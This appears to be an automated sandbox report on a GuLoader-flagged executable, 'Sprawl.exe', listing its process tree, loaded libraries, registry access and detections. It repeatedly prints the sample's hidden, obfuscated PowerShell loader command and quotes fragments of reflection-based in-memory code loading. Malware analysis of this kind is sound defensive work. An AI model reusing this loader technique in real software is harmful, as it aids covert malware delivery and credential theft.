Code function: 0_2_0040205E CoCreateInstance,MultiByteToWideChar,

0_2_0040205E

Source: C:\Users\user\Desktop\Sprawl.exe

File created: C:\Users\user\AppData\Roaming\underarmsmusklens

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4052:120:WilError_03
Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2324:120:WilError_03

Source: C:\Users\user\Desktop\Sprawl.exe

File created: C:\Users\user\AppData\Local\Temp\nsuF132.tmp

Jump to behavior

Source: Sprawl.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\Sprawl.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Sprawl.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: msiexec.exe, 00000008.00000002.3378029055.0000000022055000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000022089000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000022095000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000022064000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000022046000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022BB6000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B76000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022BAA000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B84000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B66000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Sprawl.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\Sprawl.exe

File read: C:\Users\user\Desktop\Sprawl.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Sprawl.exe "C:\Users\user\Desktop\Sprawl.exe"
Source: C:\Users\user\Desktop\Sprawl.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Sprawl.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Users\user\Desktop\Sprawl.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"

Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\Sprawl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Sprawl.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: e.pdb source: powershell.exe, 00000002.00000002.2754688897.0000000007553000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: qm.Core.pdb source: powershell.exe, 00000004.00000002.2832741780.0000000008951000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: indows\System.Core.pdb source: powershell.exe, 00000002.00000002.2754688897.0000000007553000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000004.00000002.2855794933.000000000B95D000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2786477517.000000000B78B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3358316175.0000000005B30000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3358056875.0000000006390000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Ecca $Demiskrdderiers $Djrv), (Risikovilligt @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Ejerbolig = [AppDomain]::CurrentDomain.GetAssemblies()$global:
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Colormaker)), $Reincur).DefineDynamicModule($Leafiest, $false).DefineType($Nielsignes, $Mosegrisen, [System.MulticastDelegate])$Kerneh
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Ecca $Demiskrdderiers $Djrv), (Risikovilligt @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Ejerbolig = [AppDomain]::CurrentDomain.GetAssemblies()$global:
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Colormaker)), $Reincur).DefineDynamicModule($Leafiest, $false).DefineType($Nielsignes, $Mosegrisen, [System.MulticastDelegate])$Kerneh

Suspicious powershell command line found

Source: C:\Users\user\Desktop\Sprawl.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"
Source: C:\Users\user\Desktop\Sprawl.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"
Source: C:\Users\user\Desktop\Sprawl.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"	Jump to behavior
Source: C:\Users\user\Desktop\Sprawl.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Sensitometer42=Get-Content -raw 'C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Paraffinerer.Dej';$Loveliest=$Sensitometer42.SubString(55162,3);.$Loveliest($Sensitometer42)"	Jump to behavior

